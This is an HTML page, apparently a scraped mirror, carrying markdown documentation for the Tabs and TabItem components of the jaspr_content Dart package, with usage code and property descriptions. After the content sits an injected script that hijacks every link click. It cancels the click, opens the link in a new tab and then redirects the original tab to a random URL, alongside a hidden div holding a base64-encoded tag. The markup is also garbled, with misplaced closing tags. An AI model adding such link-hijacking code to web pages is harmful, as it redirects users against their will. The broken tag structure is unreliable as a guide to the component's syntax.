<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p>---
title: Tabs
description: Display content within different tabs.
---

---

The Tabs component allows you to organize content into different sections that can be switched between by the user. This is useful for displaying related information in a compact and user-friendly way.

## Usage

To use the `Tabs` component, you first need to add it to the `components` list of your `ContentApp`:

```dart
import 'package:jaspr_content/components/tabs.dart';

// ...

ContentApp(
  components: [
    Tabs(),
  ],
)
```

Then, you can use the `<tabs>` and `<tabitem>` components in your content files:

```jsx
<tabs defaultvalue="item2">
  <tabitem label="Tab 1" value="item1">
    This is the content for the first tab.
  </tabitem>
  <tabitem label="Tab 2" value="item2">
    This is the content for the second tab.

    You can include other components and **markdown** inside a `TabItem`.
  </tabitem>
  <tabitem label="Tab 3" value="item3">
    This is the content for the third tab.
  </tabitem>
</tabs>
```

This will render a set of tabs where users can click on "Tab 1", "Tab 2", or "Tab 3" to view their respective content. In this example, "Tab 2" will be selected by default.

---

### Tabs Properties

The `<tabs>` component serves as a container for `TabItem`s and has the following attribute:

<property name="defaultValue" type="String">
  The `value` of the `TabItem` that should be selected by default when the tabs are first rendered. If not provided, the first `TabItem` will be selected.
</property>

---

### TabItem Properties

The `<tabitem>` component defines an individual tab and its content. It has the following attributes:

<property name="label" type="String" required>
  The text that will be displayed on the tab itself.
</property>

---

<property name="value" type="String" required>
  A unique identifier for this tab. This value is used by the `defaultValue` attribute of the parent `<tabs>` component to specify which tab to select initially.
</tabs></property>

---

The content nested inside a `<tabitem>` tag will be displayed when that tab is active. You can include any valid markdown or other custom components within a `<tabitem>`.
</tabitem></tabitem></tabitem></tabs></tabitem></tabs></p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
